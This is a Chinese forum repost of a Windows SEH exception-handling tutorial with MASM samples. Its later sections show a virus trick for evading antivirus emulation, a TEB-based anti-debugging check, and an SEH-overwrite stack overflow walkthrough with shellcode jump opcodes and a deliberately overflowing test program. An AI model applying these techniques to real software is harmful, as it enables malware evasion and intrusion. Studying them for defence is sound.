设为首页收藏本站

鑫郁飞网络技术-郁金香灬外挂技术

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

郁金香 外挂开发(实战)郁金香 终身VIP 尊贵特权郁金香 VIP学员办理任鸟飞2015外挂教程
◆招传奇霸业辅助作者◆论坛VIP会员账号郁金香游戏外挂制作 终极教程   ◆招传奇霸业辅助作者◆
查看: 555|回复: 0

SEH异常处理学习总结 转

[复制链接]
发表于 2017-9-10 11:24:42 | 显示全部楼层 |阅读模式
SEH异常处理学习总结  2014年09月05日 ⁄ 综合 ⁄ 共 16018字        ⁄ 字号 小 中 大 ⁄ 评论关闭
导读:
前一段时间,在看异常处理一章内容的时候,发现这一部分还真的挺有尿水:)所以上网搜了一下有关内容,呦嗬,还挺丰富的。当然有些自己还是看不懂,现在就将这些宝贝拿出来跟大家共享一下。首先我们看一下使用异常处理的几种情况:A. 用来处理非致命的错误B. 对API函数的参数合法性的检验(假设参数都是合法的,只有遇到异常的时候进行合法性检验)C. 处理致命错误(退出时最好的选择,但是有的时候可以用异常处理函数在程序退出前释放资源,删除临时文件等,甚至可以详细记录产生异常的指令位置和环境)D. 处理“计划内”的异常(我们可能更关心这种情况,因为可以做很多的手脚,哈哈)接着我们看看Windows下异常处理的两种方式:1使用筛选器2 SEH异常处理一、 使用筛选器因为这里我要重点关注的是SEH的处理方式,所以还是简单的提一下筛选器处理方式。筛选器异常处理是通过异常回调函数来指定程序处理异常。这种方式的回调函数必须是唯一的,设置新的回调函数后以前的将失效。适用于进程范围。看一下这个函数的定义Invoke SetUnhandledExecpionFilter,offset_HandlerMov lpPrevHandler,eax(先到这里吧有些难受,明天接着来)######题外话:想起“司令”的一句话,觉得挺有道理:明天不一定美好,但是更美好的明天一定会到来!祝福所有的朋友。######
上午有会,什么也没有做,下午?还有会,我tm晕了,中午不睡觉了,不把事情做不完心里不踏实。回调函数的格式:_Handlerproc pExecptionInfo看看pExecptionInfo这个指针参数指向的一个数据结构EXCEPTION_POINTERS STRUCT               pExceptionRecord  DWORD      ?                            ContextRecord    DWORD      ?             EXCEPTION_POINTERS ENDS下面介绍 EXCEPTION_RECORD和CONTEXT结构的定义:   ;//===================== 以下是两个成员的详细结构=========================
        EXCEPTION_RECORD STRUCT           ExceptionCode        DWORD      ?      ;//异常码           ExceptionFlags        DWORD      ?      ;//异常标志           pExceptionRecord      DWORD      ?      ;//指向另外一个EXCEPTION_RECORD的指针           ExceptionAddress      DWORD      ?      ;//异常发生的地址           NumberParameters      DWORD      ?      ;//下面ExceptionInformation所含有的dword数目           ExceptionInformation  DWORD EXCEPTION_MAXIMUM_PARAMETERS dup(?)    EXCEPTION_RECORDENDS            ;//EXCEPTION_MAXIMUM_PARAMETERS ==15
;//=============================具体解释================================
ExceptionCode 异常类型,SDK里面有很多类型,你可以在windows.inc里查找STATUS_来找到更多的异常类型,下面只给出hex值,具体标识定义请查阅windows.inc,你最可能遇到的几种类型如下:
              C0000005h----读写内存冲突               C0000094h----非法除0               C00000FDh----堆栈溢出或者说越界               80000001h----由Virtual Alloc建立起来的属性页冲突               C0000025h----不可持续异常,程序无法恢复执行,异常处理例程不应处理这个异     常               C0000026h----在异常处理过程中系统使用的代码,如果系统从某个例程莫名奇妙的返回,则出现此代码, 如果RtlUnwind时没有Exception Record参数也同样会填入这个代码               80000003h----调试时因代码中int3中断               80000004h----处于被单步调试状态
              注:也可以自己定义异常代码,遵循如下规则:               ____________________________________________________________________
              位:      31~30            29~28          27~16          15~0               ____________________________________________________________________              含义:    严重程度          29位            功能代码        异常代码                         0==成功        0==Mcrosoft    MICROSOFT定义  用户定义                         1==通知        1==客户                         2==警告          28位                         3==错误        被保留必须为0 ExceptionFlags 异常标志               0----可修复异常               1----不可修复异常               2----正在展开,不要试图修复什么,需要的话,释放必要的资源 pExceptionRecord 如果程序本身导致异常,指向那个异常结构 ExceptionAddress 发生异常的eip地址 ExceptionInformation 附加消息,在调用RaiseException可指定或者在异常号为C0000005h即内存异常时含义如下               第一个dword 0==读冲突 1==写冲突               第二个dword 读写冲突地址 ;//================================解释结束============================                                                          off.         CONTEXT STRUCT                   ; _           ContextFlags  DWORD      ?     ;  |            +0           iDr0          DWORD      ?       ;  |            +4           iDr1          DWORD      ?      ;  |            +8           iDr2          DWORD      ?      ;  >调试寄存器  +C           iDr3          DWORD      ?      ;  |            +10           iDr6          DWORD      ?      ;  |            +14           iDr7          DWORD      ?      ; _|            +18           FloatSave    FLOATING_SAVE_AREA <>  ;浮点寄存器区 +1C~~~88h           regGs        DWORD      ?      ;--|            +8C           regFs        DWORD      ?      ;  |/段寄存器    +90            regEs        DWORD      ?      ;  |/            +94                      regDs        DWORD      ?      ;--|            +98           regEdi        DWORD      ?      ;____________    +9C           regEsi        DWORD      ?      ;      |  通用  +A0           regEbx        DWORD      ?      ;      |  寄    +A4           regEdx        DWORD      ?      ;      |  存    +A8           regEcx        DWORD      ?      ;      |  器    +AC           regEax        DWORD      ?      ;_______|___组_  +B0                regEbp        DWORD      ?      ;++++++++++++++++ +B4           regEip        DWORD      ?      ;    |控制        +B8           regCs        DWORD      ?      ;    |寄存        +BC           regFlag      DWORD      ?      ;    |器组        +C0           regEsp        DWORD      ?      ;    |            +C4           regSs        DWORD      ?      ;++++++++++++++++ +C8           ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)         CONTEXT ENDS ;//============================以上是两个成员的详细结构============        程序使用筛选器异常处理时可以通过查看上面结构中的regEip来找到产生异常的地址!调试的时候可以改变EIP的值以达到越过异常程序,转到“安全”的地方。最后看一下筛选器异常处理回调函数的返回值EXECPTION_EXECUTE_HANDLER           1;进程被终止,终止前不会出现提示错误的对话框EXECPTION_CONTINUE_SEARCH 0;同样终止程序,显示错误对话框EXECPTION_CONTINUE_EXECUTION -1;系统将CONTECT设置回去,继续执行程序
使用筛选器程序是最简单的处理异常方法,不足:1 不便于封装。2 处理是全局性的也就是无法对每个线程或子程序设置一个私有的异常处理程序进行异常处理。进入正题:SEH异常处理首先解释一下什么是SEH异常处理:SEH("Structured Exception Handling",即结构化异常处理.是操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。下面结合冷雨飘心的一个SEH异常处理程序来说明具体的用法:;//====================================================================;// ex. 2,by Hume,2001  线程相关的异常处理 ;//====================================================================.386 .model flat, stdcall option casemap :none  ; case sensitive include hd.h          ;//相关的头文件,你自己维护一个吧 ;//============================ .data szCap    db "By Hume[AfO],2001...",0 szMsgOK db "It's now in the Per_Thread handler!",0 szMsgERR1 db "It would never Get here!",0 buff    db 200 dup(0)
.code _start: ;//========prog begin====================   ASSUME FS:NOTHING         push    offset perThread_Handler        push    fs:[0]              mov    fs:[0],esp          ;//建立SEH的基本ERR结构,如果不明白,就仔细研究一下吧         xor    ecx,ecx                                  mov    eax,200             cdq                ;//双字扩展到四个字节,因为是除法       div    ecx                                                   ;//以下永远不会被执行 invoke  MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONINFORMATION         pop    fs:[0]         add    esp,4         invoke    ExitProcess,NULL        
;//============================ perThread_Handler: invoke    MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONINFORMATION         mov    eax,1          ;//ExceptionContinueSearch,不处理,由其他例程或系统处理         ;mov    eax,0          ;//ExceptionContinueExecution,表示已经修复CONTEXT,可从异常发生处继续执行     ret                        ;//这里如果返回0,你会陷入死循环,不断跳出对话框....
;//=============================Prog Ends============== end _start程序本身很简单,注释也很详细。我们来看看是如何注册回调函数的push    offset perThread_Handler        push    fs:[0]              mov    fs:[0],esp 仅仅三个语句就解决了~那么为什么要用fs这个段寄存器呢?这里又涉及一个重要的内容:TIB(Thread Information Block线程信息块)。我们来看看这个重要的数据结构(引用了《罗聪浅谈利用SEB实现反跟踪》的部分内容)TEB(Thread Environment Block) 在 Windows 9x 系列中被称为 TIB(Thread Information Block),它记录了线程的重要信息,而且每一个线程都会对应一个 TEB 结构。 Matt Pietrek 大牛已经给我们列出了它的结构,我就不多说啦,见下:(摘自 Matt Pietrek 的 Under The Hood - MSJ 1996)
//=========================================================== // file: TIB.H // Author: Matt Pietrek // From: Microsoft Systems Journal "Under the Hood", May 1996 //=========================================================== #pragma pack(1)
typedef struct _EXCEPTION_REGISTRATION_RECORD {   struct _EXCEPTION_REGISTRATION_RECORD * pNext;   FARPROC                                pfnHandler; } EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
typedef struct _TIB { PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list PVOID  pvStackUserTop;        // 04h Top of user stack PVOID  pvStackUserBase;        // 08h Base of user stack
union                          // 0Ch (NT/Win95 differences) {   struct  // Win95 fields   {       WORD    pvTDB;          // 0Ch TDB       WORD    pvThunkSS;      // 0Eh SS selector used for thunking to 16 bits       DWORD  unknown1;      // 10h   } WIN95;
  struct  // WinNT fields   {       PVOID SubSystemTib;    // 0Ch       ULONG FiberData;        // 10h   } WINNT; } TIB_UNION1;
PVOID  pvArbitrary;            // 14h Available for application use struct _tib *ptibSelf;          // 18h Linear address of TIB structure
union                          // 1Ch (NT/Win95 differences) {   struct  // Win95 fields   {       WORD    TIBFlags;          // 1Ch       WORD    Win16MutexCount;    // 1Eh       DWORD  DebugContext;      // 20h       DWORD  pCurrentPriority;  // 24h       DWORD  pvQueue;            // 28h Message Queue selector   } WIN95;
  struct  // WinNT fields   {       DWORD unknown1;            // 1Ch       DWORD processID;            // 20h       DWORD threadID;            // 24h       DWORD unknown2;            // 28h   } WINNT; } TIB_UNION2;
PVOID*  pvTLSArray;            // 2Ch Thread Local Storage array
union                          // 30h (NT/Win95 differences) {   struct  // Win95 fields   {       PVOID*  pProcess;      // 30h Pointer to owning process database   } WIN95; } TIB_UNION3;
} TIB, *PTIB; #pragma pack()让我们抬头看看上面的 Matt Pietrek 的代码,其中有这么一行:
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list
注意到 PEXCEPTION_REGISTRATION_RECORD 这个定义,它表示 pvExcept 这个变量正是 exception record list 的入口,这个入口位于整个结构的 0 偏移处。同时,在 M 的 Intel i386 Windows NT/2K/XP 内核中,每当创建一个线程,OS 均会为每个线程分配 TEB ,而且 TEB 永远放在 fs 段选择器指定的数据段的 0 偏移处。 这样一来,你就明白了 SEH 注册的偏移为什么是在 fs:[0] 了吧? 事实上 Windows 系统都是通过这种方法来为应用程序提供信息的,比如有这样的例子: struct _tib *ptibSelf;          // 18h Linear address of TIB structure DWORD threadID;                // 24h
Windows 提供了一个 API :GetCurrentThreadID(),它的内部工作原理其实是这样的:(利用了上面的这两个地址)
mov eax, fs:[18h]    ;因为 18h 偏移处是 TIB 结构的线性偏移地址 mov eax, [eax + 24h] ;因为 24h 偏移处是 threadID 的地址 ret                  ;把 eax 中储存的 threadID 地址返回注:为什么要声明assume fs:nothing?因为masm编译器默认将fs段寄存器定义为error,所以程序在使用fs前必须将它启动!接下来看看SEH的回调函数_Handler proc _lpExecptionRecord, _lpSEH,lp_context,lp_DispatcherContext _lpExecptionRecord指向一个EXECPTION_RECORD结构。lp_context 指向一个CONTEXT结构。_lpSEH  指向注册回调函数时使用的EXXCEPTION_REGISTRATION结构的地址。返回值有四种取值:ExecptionContinueExecution ( 0 :系统将线程环境设置为_lpContext指向的CONTEXT结构并继续执行。ExceptionContinueSearch(1):回调函数拒绝处理这个异常,系统通过EXECPTION_REGISTRATION结构的prev字段得到前一个回调函数的地址并调用它。ExecptionNestedExecption (2):发生异常嵌套。ExecptionCollidedUnwind  (3):异常展开操作。这一个部分不做多讲,有兴趣的可以看看罗云彬的书,其实是很重要的一部分。如果一个程序既有筛选器异常处理又有SEH异常处理,而且系统还有默认的异常处理机制,那么他们被调用的先后次序是怎么样的呢?发生异常时系统的处理顺序(by Jeremy Gordon):     1.系统首先判断异常是否应发送给目标程序的异常处理例程,如果决定应该发送,并且目标程序正在被调试,则系统挂起程序并向调试器发送EXCEPTION_DEBUG_EVENT消息.呵呵,这不是正好可以用来探测调试器的存在吗?     2.如果你的程序没有被调试或者调试器未能处理异常,系统就会继续查找你是否安装了线程相关的异常处理例程,如果你安装了线程相关的异常处理例程,系统就把异常发送给你的程序seh处理例程,交由其处理.    3.每个线程相关的异常处理例程可以处理或者不处理这个异常,如果他不处理并且安装了多个线程相关的异常处理例程,可交由链起来的其他例程处理.     4.如果这些例程均选择不处理异常,如果程序处于被调试状态,操作系统仍会再次挂起程序通知debugger.     5.如果程序未处于被调试状态或者debugger没有能够处理,并且你调用SetUnhandledExceptionFilter安装了最后异 常处理例程的话,系统转向对它的调用. 6.如果你没有安装最后异常处理例程或者他没有处理这个异常,系统会调用默认的系统处理程序,通常显示一个对话框, 你可以选择关闭或者最后将其附加到调试器上的调试按钮.如果没有调试器能被附加于其上或者调试器也处理不了,系统就调用ExitProcess终结程序.     7.不过在终结之前,系统仍然对发生异常的线程异常处理句柄来一次展开,这是线程异常处理例程最后清理的机会.
说了这么多你也许会问SEH异常处理到底有什么用处呢?呵呵,且听小生慢慢道来~~~第一道菜:病毒程序巧用SEH这里简单的说一下如何利用SEH异常处理程序来躲避下毒软件的反病毒引擎。一个反病毒引擎在一个程序运行的时候会模拟程序的代码,当发现程序代码的疑点比较多的时候会报告成病毒。看看下面这段程序:start:call Set_SEH;这句其实就是 push offset CONTINUE;      JMP Set_SEHCONTINUE:mov esp, [esp+8]; [ESP+8]存储的是旧的堆栈地址。push offset Start_Virus ;----_ 把Start_Virus 的地址压栈,当作返回地址ret;----跳到Start_Virus去,是不是很magic?
Set_SEH:sub edx, edx            ;Edx =0 Assume fs:nothing push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 结构的指针入栈mov fs:[edx], esp;安装一个sehmov [edx],edx;引起一个内存读写冲突,发生异常因为edx=0 ;如果反病毒引擎不处理异常,不进入seh 处理程序(即 CONTINUE: ,继续模 ;拟下个指令,也就是jmp start,那么就进入一个死循环,可能会引起死机。               jmp start       Start_Virus:    .....是不是很简单呢?就是让反病毒引擎不处理这个人为的异常时进入死循环~!!第二道菜:TEB反跟踪初探如果你的记性够好的话一定记得上面介绍过的TEB(TIB)线程信息块结构中有这么一句:PVOID*  pProcess;      // 30h Pointer to owning process database 这个偏移地址处的内容非常有用,它指向本线程的拥有者的 PDB(Process Database) 的线性地址。当你用动态调试器,例如 OllyDbg 的时候,调试器是把调试的对象作为一个子线程进行跟踪的,在这种情况下,被调试的对象的“拥有者”就是调试器本身,也就是说,它的 TEB 的 30h 处的偏移指向的内容肯定不为 0 ,这样,我们就可以利用这一点,判断 30h 偏移指向的内容,来判断是否有调试器跟踪。 最后给出一个 Anti-Debug 的例子程序,用 MASM 编译完成后,请用 OllyDbg 来加载调试一下,看看与正常的运行结果有什么不同。 ;********************************************************* ;程序名称:演示利用 TEB 结构进行 Anti-Debug ;          请用 OllyDbg 进行调试 ;适用OS:Windows NT/2K/XP ;作者:罗聪 ;日期:2003-2-9 ;出处:http://www.LuoCong.com(老罗的缤纷天地)  ;注意事项:如欲转载,请保持本程序的完整,并注明: ;转载自“老罗的缤纷天地”(http://www.LuoCong.com)  ;*********************************************************
.386 .model flat, stdcall option casemap:none
include /masm32/include/windows.inc include /masm32/include/kernel32.inc include /masm32/include/user32.inc includelib /masm32/lib/kernel32.lib includelib /masm32/lib/user32.lib
.data szCaption  db  "Anti-Debug Demo by LC, 2003-2-9", 0 szDebugged  db  "Hah, let me guess... U r dEBUGGINg me! ", 0 szFine      db  "Good boy, no dEBUGGEr detected!", 0
.code main:   assume  fs:nothing  mov    eax, fs:[30h]              ;指向 PDB(Process Database)  movzx  eax, byte ptr [eax + 2h];无符号数带零扩展  or      al, al  jz      _Fine_Debugged:  push    MB_OK or MB_ICONHAND  push    offset szCaption  push    offset szDebugged  jmp    _Output_Fine:  push    MB_OK or MB_ICONINformATION  push    offset szCaption  push    offset szFine_Output:   push    NULL  call    MessageBoxA  invoke  ExitProcess, 0 end main第三道菜:利用SEH执行shellcode假设异常处理例程入口00401053,程序刚开始执行时esp是0012ffc4,以前的fs:[0]是0012ffe0建立了TIB结构的第一个成员后堆栈的情况如下:
  内存低地址  | E0 |12ffbc(esp)| FF || 12 |  --ERR结构的第一个成员|_00_|| 53 |12ffc0| 10 || 40 |  --ERR结构的第二个成员| 00 |
  内存高地址
  好了然后程序CALL一个函数,函数里面有一个局部变量并且在往其分配的空间中写入的数据时产生溢出.这时堆栈如下
____|    |12f000 局部变量分配的空间,并且向12ffc0方向溢出了.|    |........|_EBP|12ffb4 函数中保存老的EBP| xx || xx || xx ||_EIP|12ffb8 call函数时EIP进栈| xx || xx ||_xx_|| E0 |12ffbc(esp)   {当SEH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}| FF || 12 |  --ERR结构的第一个成员|_00_|| 53 |12ffc0| 10 || 40 |  --ERR结构的第二个成员|_00_||    |12ffc4   继续看,假设溢出代码一直到了12ffc4,然后call的函数该返回了,因为保存的EIP被溢出代码代替所以程序出错(不会不出错吧?),这样ESH开始起作用了(注:在这期间系统要执行一些操作,所以EBX才会指向当前ERR).这样一来程序就会跳到12ffc0里的地址去执行!而12ffc0里的东东早已不是原来的00401053了.这样我们不就改变了程序的流向了么.12ffc0中该写入什么内容呢?应是内存中JMP EBX的代码的地址.这样跳了3下后最终就会跳到12ffbc去执行.这个四字节可是宝贵的啊现在假设JMP EBX这个指令在内存中的地址是0x77e33f4d那下具体看一下现在堆栈的情况:
| EB |12ffbc(esp)   {当ESH起作用的时候EBX刚好指向这个地址(也可说总是指向当前ERR结构)}| 06 || 90 |  --ERR结构的第一个成员,执行JMP EBX后就到这儿来执行了(EB 06是短跳转JMP 12FFC4的机器码)|_90_|  后面的90是nop空指令的机器码.| 4D |12ffc0| 3F || E3 |  --ERR结构的第二个成员,出错处理函数的入口地址(现在成了JMP EBX的地址)|_77_||    |12ffc4....
  好现在来看看12ffc4里面有些什么代码.(简单的说这段代码的作用是计算真正的shellcode的起始地址,然后跳过去执行.
低地址
|    |12f000(shellcode开始地址)........| 81 |12ffc4| C3 |  add ebx,FFFFF03Ch(ebx=12ffc4,指令长度6,作用计算计算shellcode地址)| 3C || F0 || FF || FF || FF |12ffca jmp ebx| D3 |  
高地址
测试程序
-------------------------SEH.ASM------------------.386.model flat,stdcalloption casemap:none
include        ../include/user32.incincludelib    ../lib/user32.libinclude        ../include/kernel32.incincludelib    ../lib/kernel32.lib
.datahello        db '利用一个读INI文件的API来演示WIN2000本地溢出',0lpFileName    db './seh.ini',0            lpAppName    db 'iam',0lpKeyName    db 'czy',0            lpDefault    db 'ddd',0szCap     db "SEH TEST",0szMsgOK db "OK,the exceptoin was handled by final handler!",0szMsgERR1 db "It would never Get here!",0
.code
testov    proc    local   lpReturnedString[2224] : byte    ;返回的字串搞成本地变量这样就和C语言一样了,它是在栈中        invoke    GetPrivateProfileString,offset    lpAppName,offset,lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName        invoke    MessageBox,0,addr lpReturnedString,addr lpReturnedString,1    ret testov    endp    start:    ASSUME fs:NOTHING    invoke  MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下断点        push    offset Final_Handler    ;压入正常的出错处理程序入口地址    push    FS:[0]                  ;把前一个TIB的地址压入    mov    fs:[0],esp    call    testov        pop     fs:[0]                     ;还原FS:[0]         Final_Handler:   ;由于溢出了下面的代码不会被执行.       invoke       MessageBox,0,addr szMsgOK,addr szCap,30h       invoke       ExitProcess,0       mov       eax,1       retend start

郁金香外挂教程,学习中...
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|鑫郁飞网络技术-郁金香灬老师 ( 苏ICP备10059359号   

GMT+8, 2017-11-20 23:24 , Processed in 0.440354 second(s), 22 queries .

Powered by Discuz! X3.2 Licensed

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表